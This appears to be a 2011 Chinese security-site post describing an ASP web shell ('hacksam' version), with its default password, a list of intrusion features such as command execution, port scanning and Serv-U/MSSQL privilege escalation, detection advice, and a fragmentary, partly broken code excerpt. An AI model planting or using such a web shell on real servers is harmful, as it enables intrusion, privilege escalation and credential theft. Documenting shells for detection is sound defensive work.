asp网页木马 hacksam 版

2011-12-13 15:41:27 来源:本站原创,请勿转载 浏览:362
asp网页木马 hacksam 版

木马名称:无名,该木马里面屡次的出现hacksam 和 sam
木马格式:asp
默认密码:taobao
木马作用:大小为88KB,功能强大的asp网页木马。功能大致有:->文件管理->上传文件->cmd命令->用户账号->网络探测->组件支持->环境变量->查询管理员->端口扫描器->读取注册表->serv_u提权->servuftp->svu7oday->ms_sql提权->radmin读取->pcanywhere->php探针->aspx探针->jsp探针->setsession->目录打包->直接下载->搜索文件->单页代理->xmd5查询

运行界面如下:(图片若超出屏幕,请右键另存到本地查看)

总结:asp网页木马 hacksam 版功能强大,能对服务器上很多可能存在漏洞的软件进一步入侵,很危险。
防御方法:护卫神入侵防护系统、护卫神云查杀均可查杀 asp网页木马 hacksam 版 这个asp网页木马。

asp网页木马 hacksam 版部分代码:
<%
Server.ScriptTimeout=999999999  
Response.Buffer =true 
On Error Resume Next 
UserPass='taobao' '修改密码
Function PcAnywhere4()
RRS'
专版
'
RRS'
'
RRS' '
RRS' '
RRS' '
RRS'
cif文件:
'
end Function
RRS'
'
RRS' '
Function StreamLoadFromFile(sPath)
Dim oStream
Set oStream = Server.CreateObject('Adodb.Stream')
With oStream
.Type = 1
.Mode = 3
.Open
.LoadFromFile(sPath)
.Position = 0
StreamLoadFromFile = .Read
.Close
End With
Set oStream = Nothing
End Function
Function hexdec(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = 'f' Or Mid(strin, i, 1) ='F' Then
j = 15
End If
If Mid(strin, i, 1) = 'e' Or Mid(strin, i, 1) = 'E' Then
j = 14
End If
If Mid(strin, i, 1) = 'd' Or Mid(strin, i, 1) = 'D' Then
j = 13
End If

(0)
(0)